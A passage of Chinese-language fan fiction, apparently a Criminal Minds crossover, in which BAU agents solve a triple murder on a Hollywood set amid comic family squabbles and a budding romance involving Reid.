现场还有血迹却没有打斗的痕迹,而最后一具尸体上的刀还是他们组道具组的师傅临走前放到了情景搭建厨房的果盘里,而为什么突然变成了一把真正的刀,道具组的那名师傅也强调他在收到这把水果刀已经做了很多测试,昨晚也做了,进去就会自动收缩,完全不可能是真的,他还表明当时有人看到,都可以替他证明,可等瑞德想要询问那三个人最近是否和谁有结怨或者是争吵,男人就闭口不谈。
不过史蒂文不愿意说,瑞德也有办法,他不是刚工作的时候做什么都没有办法,虽然他有些局促,但依旧通过自己的侧写能力将史蒂文先生昨晚可能碰到的事情简单的描述了一下。
史蒂文听得目瞪口呆,完全不知道眼前这个人是怎么看出来的,福尔摩斯?
福尔摩斯不至于,但瑞德看了眼时间,大概霍奇也快过来了,他才意犹未尽的闭上嘴,眨着干净的暖棕色眼睛看着史蒂文导演道,“您和三位演员之间的关系如何……”
史蒂文皱眉道,“梅尔是我的一个情人,这次的主演我本来是另有人选,她非要让我把她弄进来,她长得漂亮但演技僵硬的如同一条咸鱼,我怎么可能让她当我的主演,我也是要吃饭的。结果她不依不饶的还要威胁我!我气哭了但是没有办法!”
史蒂文见瑞德那一手好看的字体挑眉先是夸赞了一下然后道,“我气哭了那几个字如果可以请不要写上去。”
“弗朗西斯和乔治这两个人是我精挑细选的男一号和男二号,我们说实话没什么太大的仇恨,说实在的就算是梅尔这个威胁过我的人,我也是咬牙将人弄进来了,我都弄进来了我还杀她干嘛,我是在这个曝光度极高的圈子里,我本就不想讲事情闹大,将她杀了我有什么好处,人不是我杀的。”
“哦对了,我昨晚走之前听到弗朗西斯和梅尔吵架,之前说了,我们想劝架但他们将我们赶走了,真是胆子大的家伙们,对我这个导演态度也是嚣张的厉害。”
小组其他成员也陆陆续续的到场,霍奇路过一直站在瑞德不远处的女人时下意识的观察了一下,然后他感觉自己在哪见过。
霍奇并不太关注其他和案件无关紧要的事情,罗西和艾米丽对瑞德早年的桃色八卦并不清楚因为那时候他们还没有进组。
只是觉得这姑娘看着似乎对瑞德带着一种一眼就能察觉到的好感。
JJ和这个姑娘算是有过接触了,她路过莱拉时停下脚步,见成员们都进了案发现场,连瑞德都进去了,他似乎一直没有察觉到或者已经察觉但不太关注罢了。
“莱拉,好久不见,你看起来几年前一样漂亮。”JJ友好地打了声招呼,并打量了一下莱拉的神情。她有些好奇,毕竟莱拉算是瑞德一见钟情的对象,还是初吻对象,莱拉看着也不像是对瑞德毫无感觉……
莱拉早就发现了这些人,有的认识有的不认识,她和JJ笑着道,“我没想到还能见到你们,真是好多年没见了。”
两人说了几句就约好了案件结束一定要告诉她,她想要请当年帮了她的小组成员吃饭,并表示自己一定要请还请JJ不要拒绝。
JJ感觉到了对方的急切以及另有所图,她想着案件结束大家本就可以休息一下,吃顿饭而已,她就点头答应了。
莱拉高兴的回到自己的剧组,摩根正在拎着伊芙琳他们一个个的单独询问。
最开始是乔伊,摩根将乔伊女士带到了一处单独的空间,乔伊临走时看了眼还有维多利亚,眼睛里充满祈求,维多利亚冲着好友无声的说了一句话,背下来。
乔伊蒙了。
不说乔伊,伊芙琳都觉得妈妈太过分了,她看了眼虎视眈眈的露琪阿姨,扒开妈妈耳朵上的纱布小声道,“妈妈你不能这么对乔伊。”
维多利亚女
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士不以为意,“宝贝你要知道妈妈是好莱坞巨星,不能有负面新闻的,这些年乔伊也替我背了不少锅,她都习惯了好了你别说了,赶紧去帮妈妈找一下梅兰妮和爱尔卡,她俩现在在什么山寨版泰坦尼克的剧组拍摄,你告诉她们事情经过看看能不能想办法。”
伊芙琳倒退三步,她眯着眼看着自己的亲妈,她不可置信,“您竟然唔……”什么叫背锅习惯了,难怪她每次去找妈妈好几次都看不到乔伊!
唔唔唔!伊芙琳扒拉着妈妈的手没扒拉开。
维多利亚死死的捂着自己小女儿的嘴巴,瞪了眼和一旁警察做笔录的露琪,一溜烟将女儿拖走。
一路上伊芙琳都在唔唔的抗议,皱着眉哼唧的半天表达自己的态度,维多利亚女士也很头疼这个不懂变通的傻孩子,明明是全家最聪明的但怎么没有艾美会来事,太死板了!
JJ和艾米丽刚要出来去隔壁明日黄花剧组找摩根,迎面就看到一个不知男女的木乃伊死死的捂着疯狂摇头唔唔叫唤的伊芙琳往这边拖!
“伊芙琳!”JJ和艾米丽连忙就要上前,一个人影更快了。
伊芙琳不知道自己看着狼狈极了,因为她和母亲闹别扭,发了脾气死活不想顺着维多利亚女士的愿,这一路又是摇头又是跳脚,高高的马尾都斜耷拉在一侧,软乎乎的铂金发被维多利亚女士身上的纱布蹭静电了,整个脑袋都像是背炸了一样乱七八糟,蓝色的缎带都挂在木乃伊手臂上。
伊芙琳还在唔唔的抗议,几次使劲回头,蓝色的大眼睛里都是满满的控诉。
连人正倒腾着,一个瘦弱的年轻人直接跑上前一把扭开维多利亚女士的手,她都没反应过来,痛的简直要尖叫!断了断了!
伊芙琳白净的脸上都是妈妈细长的爪印子,正生气呢就看到一个骨节分明的手腕在眼前一晃而过,她被人一把从母亲怀里拖了出去都没反应过来,那个人力气还很大,但没有伤害到她,她手腕感觉不到疼痛。
实际上是里面的人听到了JJ的喊声,出来就看到脸上是大写的红印子的伊芙琳,对方狼狈极了,发带都掉到地上了,不知男女的木乃伊死死的捂着对方的嘴拖着她要行凶一般。
瑞德蹙着眉,目光锐利的盯着木乃伊,整个身子将伊芙琳挡在身后。
其他人也是警惕的看着这个说自己是好莱坞巨星的女人,伊芙琳摸着有些胀痛的脸,还没反应过来就被人拉到了身后,盯着自己另一只被攥紧的手,再看向自己面前的浅蓝色衬衫瘦弱的脊背,她轻叹口气,一时间有些难以启齿,但她还是和周围的探员们解释了一下这个木乃伊是谁。
“这个木乃伊是我妈妈。”
维多利亚女士被这么些人目光锐利的盯着,都要哭了!
而她的小女儿从人家身后露出个脑袋,冲着她摊了摊手,无声道,妈妈你完蛋了。
维多利亚女士简直要捂着自己漂亮的脸蛋尖叫了!这些人一个不落她都认识,哦天啊她混不过去了,她不想坐牢!其次是她的手也要断了!
这个该死的书呆子!
书呆子尴尬的从母女俩中间慢吞吞的退出,一双手不知道摆在哪里,不停的推着黑框眼镜,面对着捂着脸又捂着手腕的伊芙琳的母亲,他又后退三步,挪到了罗西和霍奇的身后。
罗西哼笑一声,满眼都是一副这可真是精彩的演出,他很满意。
23.第 23 章
“哦!我的手腕!上帝啊我还怎么拍戏!”维多利亚女士坐在自助餐包围的椅子上,看着手腕上的青红的印子,愤怒的目光简直要将斜对角的那个背对着他的臭小子瞪穿了。
没礼貌的年轻人!维多利亚女士心里暗骂,她的头发都没来得及整理,从层层纱布中露出来的短发成了蜂窝,磨着牙气的不得了。
瑞德芒刺在背,握着本子的手都僵硬了,他目光有些飘忽,一旁的摩根并不了解斜对角的那位女士为何如此怒目身旁的小伙伴。
“你干了什么?”摩根跟着眼神躲闪的瑞德离开明日黄花剧组,他挑眉问道。
瑞德到了走廊才轻轻的舒口气,听到好友的问话,他有些尴尬的摸了摸头发,一头浅棕色小卷发不知道什么时候变得乱蓬蓬的,好像被人挠了一样。
“………当时听到JJ的喊声我们就冲了出去……”
摩根双手交叉环胸,似笑非笑的看着面前一秒钟三十个动作的慌乱的瑞德,他哼笑一声,他可太想见见他们瑞德小博士英雄救美的样子了,等案件结束他要好好了解一下当时的情况,感觉应该很有意思。
伊芙琳并没有在维多利亚女士身边,她正和乔伊去找山寨版泰坦尼克剧组。
为了防止维多利亚女士做一些不好的事情,她临走前已经明确的和母亲说了,如果对方不依不饶再对人动手,她再也不会做她的贴心小棉袄。
毕竟艾美姐那本我的最毒母亲快要出版了,妈妈应该不会介意她再写一本类似的书。
维多利亚当时也是有反击的,她流露出不可置信的目光然后痛心疾首道“你再也不是妈妈的小宝贝了!你跟谁学的!我可从来没有教你做这种威胁妈妈的事情!”
伊芙琳目光幽幽地看向母亲手上还残留瑞德博士可怜的头发,要不是她眼疾手快立刻挠维多利亚女士的胳肢窝,博士后脑勺都要被拽秃了……
人家好好的一个帅气的青年,还没女朋友呢就被妈妈薅秃了,伊芙琳内心可谓是不安极了,她还跳起来看了一眼,还好没秃。
“反正,您女儿我能活着回来,和他们也有关系,您这么做让我很难过!更何况您穿的和木乃伊一样一看就像是个坏人还捂着我的嘴不让我说话,人家以为我被坏人抓了他们是想救我!您这么做简直伤人家的心。”
伊芙琳抿着嘴,难过的低下头,蓝色的发带落到了脸庞,她扒拉开凉丝丝的缎带看着可怜巴巴的。
乔伊在一旁根本不知道发生了什么,等她看到这对母女时,两人还在憋气,小伊芙都气的眼睛都红了。
现在知道是什么情况,乔伊也觉得维多利亚有些过分了,她苦口婆心劝道,“你这样做,万一下次碰到真的坏人,人家还能帮忙吗?更何况你都五十四岁了……”怎么还跟孩子计较成这样。
“五十三岁!”维多利亚别的都能忍受唯独年纪被人说错了她不能忍受!
乔伊眨了眨眼,“你不是说你和我同岁?”
哦对了!维多利亚差点忘了,果然谎报年龄时间长了她自己都忘了。
伊芙琳差点没忍住抬头,她妈妈不是五十六岁吗?!您身份证上的年纪可是五十六!
维多利亚也知道是自己有些不依不饶了,她顺了顺自己的头发,还是拉不下面子,坐在那哼哼唧唧的。
乔伊有些无语,这女人到底想做什么,跟自己的孩子也要计较。
维多利亚已经准备好乖巧的小女儿给她递台阶,不过她没想到,这孩子给她铺了一个碎裂版玻璃栈道。
伊芙琳抬起头,双手环胸,直接道,“艾美姐给了我一个启发,我都想好写什么了,书名就叫原生家庭造成的灾难!”
维多利亚女士委屈极了,她花了那么多钱给自己的孩子们上私立学校,一个个还笨的要死她都没嫌弃过,当然除了伊芙琳,她是家里孩子当中最聪明的一个,可这不代表她们竟然集体威胁她这个老母亲!
恶毒妈,原生家庭什么的!
被独自留下来的维多利亚女士只能无能狂怒,干巴巴的用眼睛瞪。
其实也不是维多利亚女士故意为难人,她自己也有难言之隐,本来今天拍的就是维多利亚穿着浴袍躺在床上等着好友探望,她的腿都没露出来就被露琪那个恶毒的女人进了谗言,导演直接让人将她包成了木乃伊,什么都露不出来!
本来一直想的就是将恶毒的露琪送进医院,但还未实施就宣告破产,现在手腕又青红的露了也难看,就算露琪现在摔断了腿,也没有任何意义了。
露琪!
维多利亚咬牙切齿道。
梅兰妮正和爱尔卡坐在一艘等比例造出来的破旧的木质小船上,身后是黑夜中大海的幕布。
“我们还是赶紧离开吧,我身上好痒。”梅兰妮哭丧着脸隔着仆人服饰的衣服使劲挠着胳膊,她能感觉这件衣服的面料上仿佛有几千只小虫子啃食着她的皮肤,刺痒难耐。
而梅兰妮对面,一位穿着豪华礼服的老夫人则正对着镜头笑出一对小梨涡,银色的短卷发打理的非常精致,她看着镜头一边露出可爱的笑容一边翕动着嘴角争取不让外人察觉,“埃蒙德,我一定要见到埃蒙德。”
九十岁的老太太依旧保持着年轻人的爱好,即便埃蒙德足以做她的曾孙,也依旧阻挡不了小老太太对美男子的那种热情的执着,只不过有些奇怪的是她们在这里拍了一上午怎么就没有看到埃蒙德。
梅兰妮望着头顶的棚架,知道一时半会出不去,她深吸一口气扭着身子想要抬屁股,糟糕!屁股痒的让她好像挠!可大庭广众之下她做不出这般丢脸的行为,梅兰妮咬着牙强忍着痒意,但却时不时的发出呻吟声,最终没忍住扭着腰蹭了一下,可问题是蹭了一下也只是蹭了一点外层的裙子罢了,力度不够怎么都止不住,于是梅兰妮双手把着船舷咬牙用力使劲蹭了下屁股。
船本就不是真正的船,在镜头中看不到的地方,都是有点瑕疵。
爱尔卡还在对着镜头笑的,就在一瞬间,咔嚓一声脆响,船从幕布的方向往外一片片七零八落的散开,三个女人光秃秃的坐在唯一没有掉落的船底的板子上,此刻爱尔卡蜷缩的有些僵硬的腿顿时被解放了,她虽然为了偶像可以忍受这种年纪大了血液循环更费劲的痛苦,但双腿彻底解放后也是忍不住说了句实话,“山寨版也是有好处的。”
梅兰妮疯狂的脱掉衣服换上了自己的裙子,她将那件戏服扔到角落,她是再也不想穿上了。
爱尔卡的腿也声嘶力竭的和她抗议,最终权衡利弊之下,她们决定直接去找人拍合照。
主动出击可比等在在这里强得多。
爱尔卡慢吞吞的换上自己的老年运动服,粉色的面料上还带着她最喜欢的布灵布灵的小碎钻,虽然是假的。
两人一前一后消失在化妆间,一路靠着梅兰妮甜美温柔的请求和爱尔卡九十岁依旧甜甜可爱的小梨涡,一路问出了各种线索,最终两人直奔二楼的编剧工作室。
梅兰妮有些激动的站在编剧工作室的门口,她整理了自己的头发,刚要伸手敲门但另一只比她更快。
爱尔卡一把推开大门,里面空无一人,但桌子上有一部手机,看起来屋主人只是短暂的出去了一趟,等一会就会回来。
“我们先出去等?”
不过这句话梅兰妮显然是白说了,爱尔卡已经自动自发的坐在了屋子里最柔软的单人沙发里,双手搭在扶手上,甚至还试了试身后的柔软度。
“爱尔卡!我们不能私自闯进来!”梅兰妮不可置信的压低声音道。
“你不想感受一下埃蒙德有可能坐过的沙发,和他近距离……”爱尔卡狡黠的眨了眨一只小眼睛。
“上面性感的香水或许是他……”
梅兰妮纠结的看向门外又看向沙发,最后无奈咬牙呻吟,瞬间投降了。
就在两人将室内的一张单人沙发和两把椅子都感受了个遍,门外传来脚步声。
当机立断,两人按照以往的经验,齐齐躲进了卫生间。
如果被发现,就说借用厕所。
相比于里面的两个女人的狡诈,外面的两个男人此刻有些焦头烂额。
“我早就和你说过和她关系断了,你竟然一直骗我!你现
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在和我说这些有什么用,我没有办法帮你!”
气急败坏的声音明显是想要控制音量,但他的气音很大,看起来他真的气坏了,像是一个在感情上被人欺骗的可怜的家伙在控诉。
室内只有男人来回踱步的皮鞋哒哒声,不一会,一个声音听起来非常有磁性,就是两个女人很熟悉的,埃德蒙性感的嗓音,压低后和他拍摄的起床时的沙哑低沉的声音一模一样!
“你有,伊文,如果你能替我证明,我们昨晚一起,我就有不在场证明了!”
梅兰妮睁大眼睛不可置信的看向爱尔卡,无声的激动道:埃德蒙是?!
爱尔卡小眼睛也瞪圆了,脸上的小褶子都带着惊讶:他可从不穿紧身裤养宠物猪!
不说两女人的震惊和对偶像失去了所有兴趣,就说外面的男人也同样不可置信。
“你要我做假证词?我也会坐牢的!就算我们是朋友,但这种事情我没办法帮你。我们也算是多年的好友,你最艰难的时候我也尽全力帮你,但这不涉及人命,你说的这些事已经打破了我对你的信任,我现在都不确定你是不是跟这个案子无关。”
埃德蒙似乎要说什么被男人打断,“我不想听你解释,我没有办法相信你,而且就算我给你做假证也没有用,你去过案发现场!甚至从梅尔的脖子上摘掉了项链,你会留下痕迹的,这毋庸置疑,即便我是个天马行空的编剧,对一些司法不太了解也清楚,你的指纹肯定会存留在梅尔用过的东西上,还有你的鞋印,这些都是证据你根本逃不掉!”
哦,不是gay,老太太捂着胸口,还好还好,她对埃德蒙的爱又回来了。
不同于不靠谱的老太太,梅兰妮越听越不对劲,什么指纹脚印假证词。
梅尔?梅兰妮知道这个好莱坞女星,人称性感尤物,是个名副其实的标志美人,但是她不是死了吗?
梅兰妮捂着嘴巴惊恐的瞪着门。
门外埃德蒙脸色越来越难看,他当时本来只是去找梅尔约会而已,梅尔和弗朗西斯是开放式婚姻,彼此都有情人,以至于埃德蒙并没有想要躲藏的意思,就准备直接找上门并不担心弗朗西斯会找他的麻烦,但谁曾想,会碰上杀人案!
他都懵了,当时光线很暗,只有不远处剧组支在棚架上的灯能给这个昏暗的房间一点可怜的光线,当时这三个人身上穿的都是浅色的戏服,那暗红色的血都快将他们的衣服上上下下浸透了!
埃德蒙吓得差点软倒在地,不远处突如其来的两个疯女人打架的声音传了过来,他才勉强清醒,本来想转身离开,毕竟这一片地方也不是没有人的,隔壁慌乱的厉害难保不会有人出来碰到他,如果被人撞见他在这里,他没办法解释自己为什么出现在命案现场!
但鬼使神差的,即将离开的埃德蒙就眼尖的看到了自己在几天前一起进组时和梅尔温存时送给她的项链,其实后来想想这根本没什么,即便他送给死者项链也不代表他是杀人犯,可就是鬼迷了眼,那项链在那么暗的地方拼命的闪着光让埃德蒙发现,他也不知道当时怎么回事反应过来手上还戴着血,项链已经被他抄近兜里。
“我真的不知道怎么解释我当时的行为,”埃德蒙捂着脸一屁股坐在沙发上,“总之,我真没杀人!你怀疑我还不如怀疑史蒂文!梅尔和我说过她手里史蒂文的把柄。”
和埃德蒙一起的男人听来听去,他突然问了一句,“为什么你会怀疑是梅尔引来的杀人犯,弗朗西斯和乔治也和梅尔一起被杀了。”
这是个好问题,但在场人谁都给不了答案,埃德蒙烦躁道,“你不如说是他们三个共同惹了谁!”
一时间两人都没有说话,埃德蒙闷在手心里的声音传了出来,“他们真能查到我拿走了项链?”
没有人回应,埃德蒙搓了搓脸,起身就要去卫生间。
门被打开的瞬间,埃德蒙瞪着眼睛看着突然冒出来的两个陌生的老女人,一个穿着运动裤坐在马桶上,一个在一旁搀着老太太的手臂,“你们怎么进来的!”
好了,无论两人如何想的,现在都不得不去找警察说明情况了……
24.第 24 章
二楼的办公室里,霍奇看了眼尸检报告上,尸体受伤的部位。
警探按掉百八十个上面催促的电话,内心骂骂咧咧,更加焦躁的盯着桌面上乱七八糟的案发现场的照片,尸体身上的戏服都染成了红色,胸口、腹部、手腕正中间,脚踝正中间,这犯人还真是……
“不是激情犯罪,通过在三个受害者身上制造相同伤口,形成具有象征意义的仪式动作,犯人有重复性强迫特征。”
霍奇站在白板前,将三名受害者每个位置的伤口照片贴在上面,指出了其中一个位置,弗朗西斯胸口的伤痕。
赤裸的胸口上,伤口微微外翻,但仔细看,和另外两具尸体不同的是,内侧的伤口并不是一次形成。
霍奇一手撑着白板看向同事,罗西双手交叉搭在桌上,接着霍奇的话道,“犯人第一个杀的是弗朗西斯,胸口是致命伤,犯人在此之前一定练习过很多次,以至于在制造第一处伤口时虽然没有掌握好,但第二处第三处的伤口却很明显,非常快且准。犯人的准备时间充足,是早早就盯上了这三个人同时落单。”
“明日黄花的剧组成员昨夜争吵中,有几人听到了惨叫声,但他们也表示当时两名主演打架的时候也打到了导演和副导演的身上,当时很乱,他们一时间觉得是导演的惨叫,也是两名主演的尖叫声。”摩根说明了当时的情况,不过他话题一转表示当时有一位剧组成员身上携带录音工具。
成员们看过来时,摩根咧嘴一笑,“展现你的魔法吧加西亚。”
“好嘞!”加西亚坐在电脑前将自己从里面提取的惨叫节点提取出来,“结合三名受害者生前的电视音频,凌晨十二点半,弗朗西斯的惨叫声出现,音量低于明日黄花剧组的声音,听不见也是正常,好了,跟你们说一个有意思的事情,受害者之间之间的惨叫声相隔时间二十分钟左右。”
警探有些无语的盯着受害者的照片,“他们并排躺在那等着被杀?手脚都没有被绑更没有药物控制,他们怎么不逃!”
实在是匪夷所思不是吗,弗朗西斯也就罢了,第二名受害者梅尔和第三名受害者乔治听到弗朗西斯的惨叫声不会逃跑吗?更何况当时就算是关灯了看不见,可犯人那么大的动作两个受害者都看不见吗?
警长的一番话说完后,众人沉默,他们也在思考这个问题,没有药物控制也没有被捆绑的迹象,他们为什么能乖乖的躺在那排队等着一个个被杀。
此刻百叶窗缝隙的光线落入室内,一条浅金色的光带落到了瑞德薄薄的眼皮上,室内很寂静,所有人都在不时的翻着资料,纸张翻阅的沙沙声响起,瑞德目光却落向了白板上其中一张照片。
剧组的摆设场景,客厅摆设是带有三十年代左右的装饰艺术风格,瑞德想起史蒂文导演的助理说过的话。
【……何止梅尔的演技,弗朗西斯和乔治表演的也很奇怪,他们的演技是有目共睹的,毕竟都是大火的情景喜剧的常驻演员,可问题是他们表现的很差劲,这和我们听说的完全不一样,导演当时选角色的时候不知道为什么突然选中了梅尔,但又怕梅尔一个人保证不了剧组的人收益,于是花重金请了这两位,可最后这三个人的演技真是烂成一团,我们折腾了好几天就拍摄了一集,导演这几天气的心脏都不太舒服,有好几个晚上让我出去帮他买药。】
瑞德盯着照片上三个人躺着的姿势,每一个人间隔将近两米的距离,为什么没有逃跑……
瑞德冷不丁的想起一件事,那是伊芙琳将一瓶热牛奶塞到他手里时说的话。
【………您帮我和摩根探员说一声,我记得前几天我妈妈在电话里还和我说过,梅尔似乎也不是剧组其他人说的花瓶之类的,开拍第二天吧她来找我妈妈询问怎么磨练演技。不过我妈妈说的话不太好听,对方有些生气的离开了……】
脑海里的资料飞速的翻过,瑞德盯着白板的目光越发专注,他冷不丁说了一个药物的名字。
“不是没有药物控制,这个药是治疗心脏的成分,他们一直被药物控制,没有心脏疾病的正常人误吞服药物会有短时间的晕眩四肢无力,残留的药物就是这个成分。”
这很容易被人忽略,谁都没想过治疗心脏的药物还能听到这里。而涉及到了心脏问题……
“可即便这样另外两个人也可以……”警探还是有些困惑。
艾米丽倒吸口气,她睁大眼,不可置信的看向瑞德。
事实证明,有的时候人厚脸皮或许还能保住一条命。
史蒂文导演他上一部电视就因收视率不高欠了很多钱,这一次买了一个好剧本,这个剧本要是拍出来肯定会火,结果没想到梅尔手里会有他不堪的视频,如果只是梅尔一个人演技差他捏鼻子认了,好歹还有两个大火的实力派演员帮衬,少赚点总比一分钱没有强。
谁曾想,倒霉到极点,三名演员半斤八两。
史蒂文导演欠了一屁股债最终再想到以后梅尔有可能一次又一次的抓着他的把柄威胁他,实在是杀意憋都憋不住。
为了锻炼自己的手艺他特意拿着家里的肉尝试,模仿自己拍过的变态杀人狂,可以按照连环杀手最喜欢的仪式杀人手法将他们的刀痕位置深浅都弄的一模一样,就是要混淆视听。
本来以为能蒙混过关,结果人家不到三小时就给破了……
其实这个案件可以不找BAU,他们自己不一定能在三个小时破案但只是时间问题,可上面顶不住压力,媒体舆论太厉害,多一分钟职位都有可能不保,于是……
警长乐疯了,上面催命一样催着他,这次案件能这么快告破多亏了这个什么犯罪行为分析,以前听过戈登探员演讲,只不过他不以为意迷迷糊糊睡着了!现在终于知道这个的重要性了,连连打听罗西什么时候能来他们警局再做一次演讲!
罗西被人激动的握着手,只笑没说话,这也不是他能决定的,说起来戈登也提到过洛杉矶这位警长。
瑞德出门后快速的换上了墨镜,遮挡住刺眼的午后阳光,尤其是三点左右的光线最热最充足,此刻这位书卷气十足的小伙子站在罗西身侧,墨镜后的浅棕色眼睛盯着热情的警长,他可没有罗西的情商,非常直接道,“可是我们做了三次演讲,您也睡了三节。
警长尴尬的尬笑,对着罗西不知道说什么,只捏着鼻子小声道,“之前真是年……”年轻不懂事没说出口就被人毫不留情的戳穿。
“您已经五十多……”最后一个音节都没发出来,一只黑手捂着瑞德白皙的半张脸,连拖带扯的将人拖到了一边,“行了别在那得罪人了,我们关系已经够紧张了。”
瑞德翻了个白眼,哼了一声一把拉下摩根的手,“我当然知道,但是他们这种做法分明没有任何意义,碍于上级指示却在戈登讲课时睡大觉,不尊重别人的劳动成果更不尊重自己的时间。”
摩根也知道瑞德说的没错,不过眼下还有一件事等着这位小伙子去解决呢,他将瑞德拖过来主要就是因为有人找他。
这时候瑞德手机响了一声,他掏出手机正在查看,就没发现靠近的莱拉。
摩根倒是和她点了点头,无声的说了声谢谢。
录音是莱拉主动提供的,但她并不想让别人知道,这是她的一份人身保障。
莱拉仰头看着垂眸在手机打字的瑞德,目光落到对方修剪到耳朵的棕色短发,干净的领口被一本正经的扣上了扣子,干净帅气的一如六年前,似乎颇受偏爱的脸蛋没有丝毫衰老的痕迹,干净白皙的和那时候一样,让人一眼就觉得这是刚入大学的学生。
莱拉落到了对方左手无名指上,空空的呀。
摩根见没什么自己的事,准备去找艾米丽的时候,路过明日黄花剧组,此刻里面只有五个人。
五个女人五张嘴,你一句我一句的吵个不停,按道理来说摩根这种直男是能躲开就躲开,毕竟五个女人争吵时的喋喋不休就像是一场活生生的地狱出现在眼前一般让人不忍直视更不想听。
不过……
“……我含辛茹苦的花钱送你们去私立学校你们就这么对我!”
“妈妈你怎么总是揪着这个话题不放,我都说了我是一时气话!”伊芙琳双手叉腰气的胸口剧烈起伏,她一把撩开老是滑到肩膀上的缎带,指着一旁和爱尔卡激烈对吵的乔伊提高嗓门道“您瞧瞧您对乔伊做的事,我都不知道这些年您总让她们帮您背锅!乔伊进了三次监狱全都是因为露琪的指控,露琪和我说了明明就是您出的馊主意,只不过乔伊人傻才上了您
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的当替您背锅!您这么能这样!”
同样叉着腰气的胸口起伏的维多利亚那一口气突然憋在嗓子里,保养良好看不出五十六的年纪的女人脸上短暂的出现了一丝心虚,但紧接着她挺着和女儿一样不怎么大的胸脯梗着脖子强词夺理道“我只是提议!提议而已,我什么都没做!我还替梅兰妮去看守所蹲了一天呢!”
梅兰妮还在劝爱尔卡和乔伊别再吵了,冷不丁听到自己的名字,回头一看就见伊芙琳小可爱不可置信的看着她,梅兰妮顿时慌乱的摆手,指着乔伊道“我们都是为了她,那个渣男骗她说离婚了,我们就是砸了他的车子给他的教训。”
伊芙琳深吸口气想要平复一下,最终没忍住,发自内心的问道“你们,谁没有进去过……”
四个人顿时消音了……
“我的天啊!你们都进去过!”
JJ一行人从楼上下来就见摩根靠着门口咧嘴笑。
“笑什么呢?”艾米丽几步上前看了眼里面,第一眼就见到了被四个女人包围的伊芙琳,对方一副被雷劈了一样,嘴巴微张整个人愣在那不知道多久了。
与此同时
“你,这些年还好吗?”莱拉见对方盖上手机看向其他地方时,才将耳边的头发压在耳后,轻笑的问着。
本来准备跟上摩根的瑞德这才发现身边有人,他听到莱拉的问话,愣了一下,看了眼莱拉的眼睛,随后快速的撇开眼,“很好。”
莱拉见对方虽然有些局促,可并没有对她的到来感到惊喜,她突然也不知道说什么,只笑了笑道,“我邀请了你们小组的成员一起去我家里吃饭,你接到消息了吗?”
这是莱拉临时的决定,在餐厅吃完饭后他们就没有地方单独聊天,在家里就不一样了,她可以安排其他人在客厅看电影喝酒或者去地下室打台球,而她可以单独和瑞德说说话,她想要一个干净的身份不复杂的男朋友陪着自己,不想睡觉还在担心身边的人偷拍她的照片博关注。
最重要的是,再次见到他,她依旧怦然心动。
不过事情发展的有些奇怪,人变多了。
伊芙琳坐在左边,维多利亚坐在右边,中间是莱拉……
开车的是艾米丽,副驾驶是JJ,她正和自己的儿子打电话,小家伙隔着电话说着我爱你妈妈。
奶声奶气的,听的人心都化了,有心想要和瑞德的同事打好关系的莱拉在JJ挂断电话后才好奇的询问,“是小男孩吗?”
JJ回头笑着道,“是。”
莱拉艳羡道,“如果不是在好莱坞,我现在也还有一个可爱的女儿。”
JJ知道莱拉这次的目的,她也希望对方能让瑞德幸福,不过……原谅她吧、她只要不经意的瞥到莱拉左边的伊芙琳就忍不住破功。
伊芙琳揉着脑子最后将整个气的泛起红晕还未消散的滚烫的脸贴着车窗,一旁路过的轿车里,一个小孩子惊呼大猪头!
大猪头贴着车窗闭眼修生养息,打定主意不和维多利亚女士说话。
维多利亚也打定主意不跟自己女儿说话,但这女人憋不住自己的嘴巴,听见自己的后辈说女孩好,她忍不住撇嘴,“女儿的好处就是你花着大价钱将他们送到私立学校,一个个还笨的要死,让你一点都看不到未来的希望。甚至你的女儿们为了博眼球亲自撰写那些年我的恶毒母亲以及原生家庭造成的影响。”
莱拉当然知道艾美给维多利亚女士写的书,他甚至买回来读过……如果艾美写的是真的……莱拉忍不住同情维多利亚女士的孩子们,她目光落到了自己的左侧。
伊芙琳哼了一声,“我从没说过我要将原生家庭造成的影响这本书写出来。”
“你说了!”维多利亚冷不丁转头把拉开中间的莱拉,不过她并没有继续控诉女儿的不孝行为,而是突然道,“你和那个拽我手腕的臭小子是不是有一腿!”
“噗”JJ一口水喷到了莱拉的车上,她震惊自己竟然做这么失礼的行为,连声和身后的莱拉道歉一边拿着纸巾擦上面的水渍,可耳朵忍不住竖了起来。
艾米丽紧紧的握着方向盘,如果不是因为在开车,她比JJ好不了哪里去,骨节因为用力都泛白了,实在没有克制住,她从镜子上看了眼后车座。
25.第 25 章
维多利亚手还压在莱拉的后背上,说完这句话她自己突然笑了,一边松开按在莱拉身上的手一边道,“是我想多了,你去修道院当修女都绰绰有余了,哪里能擦出火花?和上帝吗哈哈哈哈……”
车里很静,莱拉坐在两人中间,有些坐立不安。
JJ听加西亚说过,伊芙琳从小到大没有和男生交往过,一次都没有,不说JJ连加西亚都很震惊,毕竟她幼儿园就有了第一个小男朋友。
一般来说,在这里,母胎单身都是很稀奇的生物,一般这种人不是心理有问题就是身体有问题。当然JJ和加西亚私下并不赞同这个刻板的定论,不过联想起之前伊芙琳曾说过的话,两人也是很惊讶的。
以结婚为前提认真的交往,在恋爱期间就需要另一半百分百的对待这份感情,在欲望都市这似乎很难做到,就连最单纯的没有浪漫细胞的瑞德好歹还有个喜欢的对象,顺道初吻在二十三岁那年被后座的莱拉夺走。
JJ通过后视镜看了看伊芙琳又看了眼她旁边的莱拉,凭着直觉,今天晚上一定有什么事会发生。
艾米丽在开车不方便和JJ眼神交流,于是JJ低头和加西亚发短信说起自己的预感。
女人对这种事总是谜一样的兴奋,加西亚恨不得坐飞机赶过来,这可太有意思了不是吗?
加西亚并不好奇莱拉和瑞德之间的化学反应,毕竟按照她的感情经验得出的结论是,七年里没有任何联系,这就是陌生人了。
一见钟情什么的,那就是被对方的脸所征服罢了,论爱情还真谈不上,小瑞德七年前的一见钟情事件,当时她也很激动的和摩根八卦。
可接下来很多年……瑞德如同一个将身心奉献给上帝的神父。
加西亚后期甚至一度以为摩根说的那些都是他自己白日做梦梦到的。
她发了四五条短信,满屏都是让JJ一定要替她观察伊芙琳和瑞德之间有没有爱情的小萌芽,两个感情单纯的人在一起,懵懵懂懂的相处,不是更可爱吗?!
接下来都是加西亚幻想中的画面被她变成文字通通发给JJ,JJ如同看了一本爱情小说……
伊芙琳不知道加西亚的小作文,此刻正单手撑着头,目光落到自家老母亲的脸上,对方脸上还带着笑,看来她是要好好笑一阵的。
